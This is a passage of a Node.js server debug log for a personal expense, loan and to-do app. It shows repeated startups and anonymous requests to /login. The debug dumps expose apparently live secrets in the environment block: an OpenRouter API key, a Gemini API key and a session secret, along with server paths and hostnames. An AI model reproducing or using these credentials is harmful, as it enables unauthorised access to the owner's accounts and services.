  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T12:44:17.241Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T12:44:17.336Z server-connect:setup:upload Upload middleware configured.
2026-07-03T12:44:17.336Z server-connect:secure CSRF Protection initialized
2026-07-03T12:44:17.338Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T12:44:17.340Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T12:44:17.340Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T12:44:17.341Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T12:44:17.341Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T12:44:17.342Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T12:44:17.343Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T12:44:17.343Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T12:44:17.346Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T12:44:17.347Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T12:44:17.347Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T12:44:17.347Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T12:44:17.347Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T12:44:17.376Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T12:44:17.377Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T12:44:17.377Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T12:44:17.377Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T12:44:17.378Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T12:44:17.378Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T12:44:17.378Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T12:44:17.379Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T12:44:17.379Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T12:44:17.379Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T12:44:17.379Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T12:44:17.380Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T12:44:17.380Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T12:44:17.380Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T12:44:17.381Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T12:44:17.381Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T12:44:17.381Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T12:44:17.382Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T12:44:17.382Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T12:44:17.382Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T12:44:17.382Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T12:44:17.382Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T12:44:17.383Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T12:44:17.383Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T12:44:17.383Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T12:44:17.453Z server-connect:router Serving templateView /
2026-07-03T12:44:17.485Z server-connect:app Executing action step identify
2026-07-03T12:44:17.485Z server-connect:app options: { provider: 'security' }
2026-07-03T12:44:17.487Z server-connect:auth No login cookie found
2026-07-03T12:44:17.487Z server-connect:output identity: false
2026-07-03T12:44:17.487Z server-connect:app Executing action step restrict
2026-07-03T12:44:17.487Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T12:44:17.491Z server-connect:output restrict: undefined
2026-07-03T12:44:17.677Z server-connect:router Serving templateView /login
2026-07-03T12:44:17.677Z server-connect:app Executing action step identify
2026-07-03T12:44:17.678Z server-connect:app options: { provider: 'security' }
2026-07-03T12:44:17.678Z server-connect:auth No login cookie found
2026-07-03T12:44:17.678Z server-connect:output identity: false
2026-07-03T12:44:17.678Z server-connect:router Render template layouts/authentication
2026-07-03T12:44:17.679Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '8.229.36.59',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T12:44:17.675Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '8.229.36.59',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '8.229.36.59',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-03T13:58:03.084Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T13:58:05.542Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T13:58:06.408Z server-connect:setup:upload Upload middleware configured.
2026-07-03T13:58:06.408Z server-connect:secure CSRF Protection initialized
2026-07-03T13:58:06.412Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T13:58:06.416Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T13:58:06.417Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T13:58:06.419Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T13:58:06.425Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T13:58:06.431Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T13:58:06.443Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T13:58:06.456Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T13:58:06.460Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T13:58:06.462Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T13:58:06.464Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T13:58:06.468Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T13:58:06.474Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T13:58:06.483Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T13:58:06.489Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T13:58:06.495Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T13:58:06.497Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T13:58:06.501Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T13:58:06.507Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T13:58:06.511Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T13:58:06.514Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T13:58:06.521Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T13:58:06.523Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T13:58:06.529Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T13:58:06.532Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T13:58:06.534Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T13:58:06.536Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T13:58:06.538Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T13:58:06.543Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T13:58:06.547Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T13:58:06.547Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T13:58:06.551Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T13:58:06.555Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T13:58:06.555Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T13:58:06.561Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T13:58:06.566Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T13:58:06.568Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T13:58:06.577Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T13:58:07.065Z server-connect:router Serving templateView /
2026-07-03T13:58:07.068Z server-connect:app Executing action step identify
2026-07-03T13:58:07.068Z server-connect:app options: { provider: 'security' }
2026-07-03T13:58:07.070Z server-connect:auth No login cookie found
2026-07-03T13:58:07.070Z server-connect:output identity: false
2026-07-03T13:58:07.070Z server-connect:app Executing action step restrict
2026-07-03T13:58:07.070Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T13:58:07.074Z server-connect:output restrict: undefined
2026-07-03T13:58:07.135Z server-connect:router Serving templateView /login
2026-07-03T13:58:07.141Z server-connect:app Executing action step identify
2026-07-03T13:58:07.141Z server-connect:app options: { provider: 'security' }
2026-07-03T13:58:07.142Z server-connect:auth No login cookie found
2026-07-03T13:58:07.142Z server-connect:output identity: false
2026-07-03T13:58:07.142Z server-connect:router Render template layouts/authentication
2026-07-03T13:58:07.142Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.189.196.22',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T13:58:07.133Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.189.196.22',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.189.196.22',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-03T14:04:36.150Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T14:04:36.324Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T14:04:36.406Z server-connect:setup:upload Upload middleware configured.
2026-07-03T14:04:36.407Z server-connect:secure CSRF Protection initialized
2026-07-03T14:04:36.410Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T14:04:36.411Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T14:04:36.411Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T14:04:36.411Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T14:04:36.412Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T14:04:36.413Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T14:04:36.414Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T14:04:36.417Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T14:04:36.418Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T14:04:36.418Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T14:04:36.418Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T14:04:36.419Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T14:04:36.419Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T14:04:36.419Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T14:04:36.419Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T14:04:36.420Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T14:04:36.420Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T14:04:36.421Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T14:04:36.421Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T14:04:36.421Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T14:04:36.421Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T14:04:36.422Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T14:04:36.423Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T14:04:36.423Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T14:04:36.424Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T14:04:36.424Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T14:04:36.424Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-03T14:04:36.425Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-03T14:04:36.425Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-03T14:04:36.425Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-03T14:04:36.426Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-03T14:04:36.426Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-03T14:04:36.427Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-03T14:04:36.427Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-03T14:04:36.427Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-03T14:04:36.428Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-03T14:04:36.428Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-03T14:04:36.429Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-03T14:04:36.536Z server-connect:router Serving templateView /
2026-07-03T14:04:36.538Z server-connect:app Executing action step identify
2026-07-03T14:04:36.538Z server-connect:app options: { provider: 'security' }
2026-07-03T14:04:36.539Z server-connect:auth No login cookie found
2026-07-03T14:04:36.539Z server-connect:output identity: false
2026-07-03T14:04:36.539Z server-connect:app Executing action step restrict
2026-07-03T14:04:36.540Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-03T14:04:36.543Z server-connect:output restrict: undefined
2026-07-03T14:04:36.595Z server-connect:router Serving templateView /login
2026-07-03T14:04:36.595Z server-connect:app Executing action step identify
2026-07-03T14:04:36.595Z server-connect:app options: { provider: 'security' }
2026-07-03T14:04:36.596Z server-connect:auth No login cookie found
2026-07-03T14:04:36.596Z server-connect:output identity: false
2026-07-03T14:04:36.596Z server-connect:router Render template layouts/authentication
2026-07-03T14:04:36.597Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.205.179.241',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-04T14:04:36.592Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.205.179.241',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.205.179.241',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-03T15:12:39.000Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-03T15:12:44.553Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-03T15:12:46.043Z server-connect:setup:upload Upload middleware configured.
2026-07-03T15:12:46.043Z server-connect:secure CSRF Protection initialized
2026-07-03T15:12:46.053Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-03T15:12:46.058Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-03T15:12:46.059Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-03T15:12:46.066Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-03T15:12:46.075Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-03T15:12:46.083Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-03T15:12:46.101Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-03T15:12:46.117Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-03T15:12:46.126Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-03T15:12:46.129Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-03T15:12:46.133Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-03T15:12:46.140Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-03T15:12:46.149Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-03T15:12:46.161Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-03T15:12:46.169Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-03T15:12:46.178Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-03T15:12:46.182Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-03T15:12:46.191Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-03T15:12:46.198Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-03T15:12:46.217Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-03T15:12:46.221Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-03T15:12:46.237Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-03T15:12:46.243Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-03T15:12:46.251Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-03T15:12:46.254Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-03T15:12:46.260Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-03T15:12:46.264Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
